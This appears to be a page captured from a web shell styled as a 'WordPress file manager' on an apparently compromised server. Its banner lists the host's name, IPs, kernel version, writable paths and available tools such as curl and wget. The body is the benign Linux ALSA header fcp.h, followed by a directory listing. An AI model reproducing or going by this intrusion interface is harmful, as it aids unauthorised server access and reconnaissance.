✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/include/sound//fcp.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
/*
 * Focusrite Control Protocol Driver for ALSA
 *
 * Copyright (c) 2024-2025 by Geoffrey D. Bennett <g at b4.vu>
 */
/*
 * DOC: FCP (Focusrite Control Protocol) User-Space API
 *
 * This header defines the interface between the FCP kernel driver and
 * user-space programs to enable the use of the proprietary features
 * available in Focusrite USB audio interfaces. This includes Scarlett
 * 2nd Gen, 3rd Gen, 4th Gen, Clarett USB, Clarett+, and Vocaster
 * series devices.
 *
 * The interface is provided via ALSA's hwdep interface. Opening the
 * hwdep device requires CAP_SYS_RAWIO privileges as this interface
 * provides near-direct access.
 *
 * For details on the FCP protocol, refer to the kernel scarlett2
 * driver in sound/usb/mixer_scarlett2.c and the fcp-support project
 * at https://github.com/geoffreybennett/fcp-support
 *
 * For examples of using these IOCTLs, see the fcp-server source in
 * the fcp-support project.
 *
 * IOCTL Interface
 * --------------
 * FCP_IOCTL_PVERSION:
 *   Returns the protocol version supported by the driver.
 *
 * FCP_IOCTL_INIT:
 *   Initialises the protocol and synchronises sequence numbers
 *   between the driver and device. Must be called at least once
 *   before sending commands. Can be safely called again at any time.
 *
 * FCP_IOCTL_CMD:
 *   Sends an FCP command to the device and returns the response.
 *   Requires prior initialisation via FCP_IOCTL_INIT.
 *
 * FCP_IOCTL_SET_METER_MAP:
 *   Configures the Level Meter control's mapping between device
 *   meters and control channels. Requires FCP_IOCTL_INIT to have been
 *   called first. The map size and number of slots cannot be changed
 *   after initial configuration, although the map itself can be
 *   updated. Once configured, the Level Meter remains functional even
 *   after the hwdep device is closed.
 *
 * FCP_IOCTL_SET_METER_LABELS:
 *   Set the labels for the Level Meter control. Requires
 *   FCP_IOCTL_SET_METER_MAP to have been called first. labels[]
 *   should contain a sequence of null-terminated labels corresponding
 *   to the control's channels.
 */
#ifndef __UAPI_SOUND_FCP_H
#define __UAPI_SOUND_FCP_H

#include <linux/types.h>
#include <linux/ioctl.h>

#define FCP_HWDEP_MAJOR 2
#define FCP_HWDEP_MINOR 0
#define FCP_HWDEP_SUBMINOR 0

#define FCP_HWDEP_VERSION \
	((FCP_HWDEP_MAJOR << 16) | \
	 (FCP_HWDEP_MINOR << 8) | \
	  FCP_HWDEP_SUBMINOR)

#define FCP_HWDEP_VERSION_MAJOR(v) (((v) >> 16) & 0xFF)
#define FCP_HWDEP_VERSION_MINOR(v) (((v) >> 8) & 0xFF)
#define FCP_HWDEP_VERSION_SUBMINOR(v) ((v) & 0xFF)

/* Get protocol version */
#define FCP_IOCTL_PVERSION _IOR('S', 0x60, int)

/* Start the protocol */

/* Step 0 and step 2 responses are variable length and placed in
 * resp[] one after the other.
 */
struct fcp_init {
	__u16 step0_resp_size;
	__u16 step2_resp_size;
	__u32 init1_opcode;
	__u32 init2_opcode;
	__u8  resp[];
} __attribute__((packed));

#define FCP_IOCTL_INIT _IOWR('S', 0x64, struct fcp_init)

/* Perform a command */

/* The request data is placed in data[] and the response data will
 * overwrite it.
 */
struct fcp_cmd {
	__u32 opcode;
	__u16 req_size;
	__u16 resp_size;
	__u8  data[];
} __attribute__((packed));
#define FCP_IOCTL_CMD _IOWR('S', 0x65, struct fcp_cmd)

/* Set the meter map */
struct fcp_meter_map {
	__u16 map_size;
	__u16 meter_slots;
	__s16 map[];
} __attribute__((packed));
#define FCP_IOCTL_SET_METER_MAP _IOW('S', 0x66, struct fcp_meter_map)

/* Set the meter labels */
struct fcp_meter_labels {
	__u16 labels_size;
	char  labels[];
} __attribute__((packed));
#define FCP_IOCTL_SET_METER_LABELS _IOW('S', 0x67, struct fcp_meter_labels)

#endif /* __UAPI_SOUND_FCP_H */

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 Sep 2026 4.57 AM
root / root
0755
intel
--
11 Sep 2026 1.33 PM
root / root
0755
sof
--
12 Sep 2026 4.57 AM
root / root
0755
asequencer.h
23.25 KB
11 Sep 2026 1.33 PM
root / root
0644
asoc.h
19.697 KB
11 Sep 2026 1.33 PM
root / root
0644
asound.h
54.016 KB
11 Sep 2026 1.33 PM
root / root
0644
asound_fm.h
3.552 KB
11 Sep 2026 1.33 PM
root / root
0644
compress_offload.h
9.066 KB
11 Sep 2026 1.33 PM
root / root
0644
compress_params.h
18.158 KB
11 Sep 2026 1.33 PM
root / root
0644
emu10k1.h
18.446 KB
11 Sep 2026 1.33 PM
root / root
0644
fcp.h
3.648 KB
11 Sep 2026 1.33 PM
root / root
0644
firewire.h
10.758 KB
11 Sep 2026 1.33 PM
root / root
0644
hdsp.h
2.027 KB
11 Sep 2026 1.33 PM
root / root
0644
hdspm.h
4.381 KB
11 Sep 2026 1.33 PM
root / root
0644
sb16_csp.h
3.479 KB
11 Sep 2026 1.33 PM
root / root
0644
scarlett2.h
1.577 KB
11 Sep 2026 1.33 PM
root / root
0644
sfnt_info.h
6.596 KB
11 Sep 2026 1.33 PM
root / root
0644
skl-tplg-interface.h
3.722 KB
11 Sep 2026 1.33 PM
root / root
0644
snd_ar_tokens.h
8.038 KB
11 Sep 2026 1.33 PM
root / root
0644
snd_sst_tokens.h
11.479 KB
11 Sep 2026 1.33 PM
root / root
0644
tlv.h
4.05 KB
11 Sep 2026 1.33 PM
root / root
0644
usb_stream.h
1.209 KB
11 Sep 2026 1.33 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF